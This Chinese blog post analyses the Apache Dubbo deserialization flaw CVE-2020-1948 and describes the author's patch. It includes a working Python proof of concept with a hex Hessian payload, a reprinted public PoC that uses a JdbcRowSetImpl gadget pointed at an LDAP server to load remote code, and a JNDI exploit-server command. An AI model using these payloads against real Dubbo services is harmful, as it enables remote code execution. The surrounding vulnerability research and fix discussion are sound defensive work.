例如测试时,执行的命令是打开计算器,可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果:

image

漏洞小结

  • 1、下载 demo 代码,加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

image

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

image

至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包,包含特殊的构造方法和 toString 方法(或许还有其它攻击点)

社区讨论内容

社区讨论和 commit 的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke$echo 方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName 可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider 反序列化时会提前报 classNotFoundException,没有执行到 readObject 方法,从而无法攻击。

综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化

絮叨

隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。

通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论